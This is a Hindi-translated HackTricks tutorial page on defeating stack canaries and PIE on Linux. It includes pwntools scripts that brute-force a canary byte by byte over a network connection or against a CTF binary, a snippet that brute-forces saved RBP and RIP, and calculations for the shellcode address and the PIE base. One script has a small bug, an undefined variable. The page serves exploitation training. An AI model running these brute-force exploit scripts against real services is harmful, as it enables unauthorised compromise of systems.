hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md

16 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आपके सामने एक कैनरी और PIE (Position Independent Executable) द्वारा संरक्षित बाइनरी है, तो आपको शायद उन्हें दरकिनार करने का एक तरीका ढूंढने की आवश्यकता होगी।

{% hint style="info" %} ध्यान दें कि checksec यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थाई रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है।
हालांकि, आप इसे मैन्युअल रूप से नोट कर सकते हैं अगर आपको लगता है कि किसी फ़ंक्शन कॉल की शुरुआत में स्टैक में एक मान सहेजा गया है और इस मान की जांच की जाती है पहले बाहर निकलने से पहले। {% endhint %}

कैनरी को ब्रूट फ़ोर्स करें

एक साधारण कैनरी को दरकिनार करने का सबसे अच्छा तरीका यह है अगर बाइनरी एक कार्यक्रम है हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रक्रियाएँ फॉर्क करता है (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट करते हैं वही कैनरी उपयोग की जाएगी

इसके बाद, कैनरी को दरकिनार करने का सबसे अच्छा तरीका यह है केवल चार द्वारा ब्रूट-फ़ोर्स करना, और आप यह जान सकते हैं कि क्या अनुमानित कैनरी बाइट सही था या गलत था जांच करके यदि कार्यक्रम क्रैश हो गया है या अपनी नियमित फ्लो को जारी रखता है। इस उदाहरण में फ़ंक्शन 8 बाइट कैनरी (x64) को ब्रूट-फ़ोर्स करता है और सही अनुमानित बाइट और एक बुरा बाइट के बीच भिन्न करता है बस जांच करके कि क्या सर्वर द्वारा एक प्रतिक्रिया भेजी गई है (अन्य स्थिति में एक try/except का उपयोग किया जा सकता है):

उदाहरण 1

यह उदाहरण 64 बिट के लिए लागू किया गया है लेकिन आसानी से 32 बिट के लिए लागू किया जा सकता है।

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

उदाहरण 2

यह 32 बिट के लिए कार्यान्वित किया गया है, लेकिन इसे आसानी से 64 बिट के लिए बदला जा सकता है।
इस उदाहरण के लिए ध्यान दें कि प्रोग्राम से पहले एक बाइट की आवश्यकता है जो इनपुट और पेलोड का आकार दर्शाती है

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

प्रिंट कैनरी

कैनरी को अनदेखा करने का एक और तरीका उसे प्रिंट करना है।
सोचिए एक स्थिति जहाँ एक कार्यक्रम सुरक्षित है जो स्टैक ओवरफ्लो को क्रमश: प्रारंभ कर सकता है और puts फ़ंक्शन को स्टैक ओवरफ्लो के हिस्से की ओर पॉइंट करता है। हमलावर को पता है कि कैनरी का पहला बाइट एक नल बाइट है (\x00) और बाकी कैनरी रैंडम बाइट्स हैं। तब, हमलावर एक ओवरफ्लो बना सकता है जो सिर्फ कैनरी के पहले बाइट तक स्टैक को ओवरराइट करता है।
फिर, हमलावर पेलोड के बीच में पुट्स फ़ंक्शन को कॉल करता है जो सभी कैनरी को प्रिंट करेगा (नल बाइट को छोड़कर)।
इस जानकारी के साथ हमलावर नए हमले को जानता है और भेज सकता है कैनरी को जानते हुए (उसी कार्यक्रम सत्र में)

स्पष्ट है कि यह युक्ति बहुत सीमित है क्योंकि हमलावर को अपने पेलोड की सामग्री को प्रिंट करने की आवश्यकता है ताकि वह कैनरी को निकाल सके और फिर एक नए पेलोड (उसी कार्यक्रम सत्र में) बना सके और भेज सके वास्तविक बफर ओवरफ्लो
CTF उदाहरण: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

PIE को अनदेखा करने के लिए आपको कुछ पता लगाना होगा। और यदि बाइनरी को कोई पता नहीं लग रहा है तो सबसे अच्छा करने का तरीका है स्टैक में सहेजे गए RBP और RIP को ब्रूट-फ़ोर्स करना जो सुरक्षित फ़ंक्शन में है।
उदाहरण के लिए, यदि एक बाइनरी को एक कैनरी और PIE का उपयोग करके सुरक्षित किया गया है, तो आप कैनरी को ब्रूट-फ़ोर्स करना शुरू कर सकते हैं, फिर अगले 8 बाइट (x64) में सहेजे गए RBP होगा और अगले 8 बाइट में सहेजे गए RIP होगा।

बाइनरी से RBP और RIP को ब्रूट-फ़ोर्स करने के लिए आप यह तय कर सकते हैं कि एक मान्य अनुमानित बाइट सही है अगर कार्यक्रम कुछ आउटपुट करता है या यह केवल क्रैश नहीं होता है। कैनरी को ब्रूट-फ़ोर्स करने के लिए प्रदान किए गए वही फ़ंक्शन RBP और RIP को ब्रूट-फ़ोर्स करने के लिए उपयोग किया जा सकता है:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

पेस्ट का पता लगाएं

PIE को परास्त करने के लिए आपको आखिरी चीज़ यह है कि लीक हुए पतों से उपयोगी पतों की गणना करनी है: RBP और RIP

RBP से आप स्टैक में अपने शैल को कहाँ लिख रहे हैं यह गणना कर सकते हैं। यह जानना बहुत उपयोगी हो सकता है कि आप "/bin/sh\x00" स्ट्रिंग को स्टैक के अंदर कहाँ लिखने जा रहे हैं। लीक हुए RBP और अपने शैलकोड के बीच की दूरी की गणना करने के लिए आप बस एक ब्रेकपॉइंट डाल सकते हैं जब RBP लीक हो जाए और चेक कर सकते हैं कि आपका शैलकोड कहाँ स्थित है, फिर, आप शैलकोड और RBP के बीच की दूरी की गणना कर सकते हैं:

INI_SHELLCODE = RBP - 1152

RIP से आप PIE बाइनरी का बेस पता कैलकुलेट कर सकते हैं जिसे आपको एक वैध ROP श्रृंखला बनाने की आवश्यकता है। बेस पता की गणना के लिए बस objdump -d vunbinary करें और डिसएसेम्बल नवीनतम पते की जांच करें:

उस उदाहरण में आप देख सकते हैं कि सभी कोड को ढूंढने के लिए केवल 1 बाइट और आधा आवश्यक है, फिर, इस स्थिति में बेस पता होगा लीक किए गए RIP पर लेकिन "000" पर समाप्त होने वाला। उदाहरण के लिए अगर आपने 0x562002970ecf लीक किया है तो बेस पता 0x562002970000 होगा।

elf.address = RIP - (RIP & 0xfff)
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: